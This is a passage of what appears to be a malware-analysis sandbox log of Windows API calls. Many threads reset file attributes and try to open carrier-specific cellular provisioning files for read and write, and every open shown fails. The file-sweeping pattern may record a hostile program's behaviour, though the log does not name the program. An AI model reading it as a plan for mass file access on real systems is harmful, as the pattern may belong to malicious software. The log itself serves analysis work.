Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0178.834] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.834] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.834] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.834] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c68) returned 1 [0178.834] RtlExitUserThread (Status=0x0) Thread: id = 2758 os_tid = 0x84c [0178.556] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.832] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.832] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.833] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.833] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d878) returned 1 [0178.833] RtlExitUserThread (Status=0x0) Thread: id = 2759 os_tid = 0xae0 [0178.557] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.831] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.831] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.831] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.831] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5e08) returned 1 [0178.831] RtlExitUserThread (Status=0x0) Thread: id = 2760 os_tid = 0xadc [0178.557] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.822] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.822] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.822] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.823] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d9d8) returned 1 [0178.823] RtlExitUserThread (Status=0x0) Thread: id = 2761 os_tid = 0xabc [0178.558] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.886] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.887] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.887] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.887] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305db28) returned 1 [0178.887] RtlExitUserThread (Status=0x0) Thread: id = 2762 os_tid = 0x13b4 [0178.558] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.885] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.885] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.885] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.886] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305dc68) returned 1 [0178.886] RtlExitUserThread (Status=0x0) Thread: id = 2763 os_tid = 0x133c [0178.558] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0178.884] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0178.884] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.884] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0178.884] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305dda8) returned 1 [0178.884] RtlExitUserThread (Status=0x0) Thread: id = 2764 os_tid = 0x13bc [0178.563] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.883] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.883] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.883] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.883] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa57a0) returned 1 [0178.883] RtlExitUserThread (Status=0x0) Thread: id = 2765 os_tid = 0x13c0 [0178.563] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.882] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.882] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.882] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.882] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305def8) returned 1 [0178.882] RtlExitUserThread (Status=0x0) Thread: id = 2766 os_tid = 0x13c4 [0178.564] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0178.880] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.880] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.881] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.881] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1da0) returned 1 [0178.881] RtlExitUserThread (Status=0x0) Thread: id = 2767 os_tid = 0x13c8 [0178.564] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.879] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.879] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.879] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.879] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e058) returned 1 [0178.879] RtlExitUserThread (Status=0x0) Thread: id = 2768 os_tid = 0x13cc [0178.565] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.878] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.878] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.878] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.878] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6470) returned 1 [0178.878] RtlExitUserThread (Status=0x0) Thread: id = 2769 os_tid = 0x13d0 [0178.565] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.821] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.821] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.821] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.821] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e1a8) returned 1 [0178.821] RtlExitUserThread (Status=0x0) Thread: id = 2770 os_tid = 0x13d4 [0178.565] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.820] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.820] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.820] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.820] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e2f8) returned 1 [0178.820] RtlExitUserThread (Status=0x0) Thread: id = 2771 os_tid = 0x13d8 [0178.566] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0178.819] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0178.819] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.819] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0178.819] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e448) returned 1 [0178.819] RtlExitUserThread (Status=0x0) Thread: id = 2772 os_tid = 0x13dc [0178.566] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.817] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.817] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.818] SetFileAttributesW (lpFileName="C:\\Users\\All 